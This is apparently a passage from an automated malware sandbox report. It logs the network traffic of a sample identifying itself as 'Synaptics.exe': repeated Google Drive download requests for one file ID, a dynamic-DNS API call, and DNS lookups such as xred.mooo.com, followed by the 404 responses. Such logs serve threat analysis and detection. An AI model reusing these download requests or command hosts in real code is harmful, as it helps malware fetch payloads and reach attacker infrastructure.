Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4LBabmw4sT-JCsvcoTPhNiO-1m02otZQQGE9xdHg-6PLurMKidHJjFnAIPmCwAqxajN8Dxo38Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:38 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wWgwTKH6t-2j3wTNXqfVig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm; expires=Fri, 04-Jul-2025 19:29:38 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5PKj0gjZlvsCdru1uVNVr4MdtZMc4AQh_qUyFhF0Dn7iWspvKkjx3XTHzkZihEhVrZwzdUuCMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:38 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-62o_YLA8cl8YfHLHe_CXNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1; expires=Fri, 04-Jul-2025 19:29:38 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6sC2lZrJA-l3hOYAiPt0lyQyjLwqFdVM33GOHBJBpjiv552WQusJ8_F5JMSQZK-z5NContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:39 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-H2_9HJIzCwczujo_3Z1K_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=hVlbUWvKAsXXeF2w1QNF8q5JgoN1tzf87ge04HU4z-izoj3_LDtGDRc8bxdZ01BsH-o2bzsVRFQ5r_WfhaVrhAteUAMZUwwIBUUg2Bex0dX01kJtDPaFFK0wIq1WKZ5eH2OJNc4egmV2sSWKiE-nh0MxGmLMyVzjQur-zpbgCqpOWYbRsspUiMg; expires=Fri, 04-Jul-2025 19:29:39 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Hcwz4wxkCELk8Qx9hid7Tand15HZ9j3eCHIdF6Lxhiok9ZF1vOGm0rCWCFGchKW9Y4A6nLLsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:39 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-h4CCyWIbjl7YTN0uvsjLtw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs; expires=Fri, 04-Jul-2025 19:29:39 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC429XhP-hpcchtd5LdC_XfyNf7aJezG5B4iNQmIIyKMt3ouDmTH4ZujKGLXTFl1fiIMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:40 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce--W7XS9W0WI45mIuQgoYYow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC69dYK0FNYHSNUpZD9IKA49rX32prAEPTASeClKP0ZyJNn-1eaQnzV0z2yyT73gL2-qContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:40 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WnTvZgPk8Q_1wndmH27oag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7d0VWBv34ZQLRsPG3OKChSJYO-WXHJipvBRLR5SjTXcNJ5-6A6pK_3atu750fYmxjw-CTuuP4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:41 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-UoRYCGhOzfMkS7MvUI9o1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5njZ0O6RLPwF0SWoclJGltMA9ZUvaKO9CShYeHIG0Xeh_WonXKwrxn_sDDzpsAiuRVContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:41 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-x7i3v9nP3K3FdGS-VjK1gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5gstVG9ouQspWNOvWXlWMKIOc_4q-zauMGlryv7fSQO1QkjRcCjsIiBB08XSid9f5pContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-TOnM3njbDoZvr9dpqpqA4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6FmOF4nQB1QFLxUKowGzw4M578Y53Gpgwcr-5qXO50kj3yg2E8KDIu2MBUV4GIPlfRnw708PYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:43 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-B1C1s3xvcKgqplh3l5kGEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6yuRk96Asy0M-_vUlLbrGGPx_bf5wMgLT1317HoWvzNYudNOpzdPLyowWj1bMZzobcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:44 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-fJQwG76P72Cf8HTF18hkRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC58GSHqt-Htrb-a5D6tAo-fhb8HmgGAS5EveCdfiDCsgm3oShiyBaRLe8zfKgixWfxKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:44 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-vd6-Qw0tB3IIU80raDPXmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, 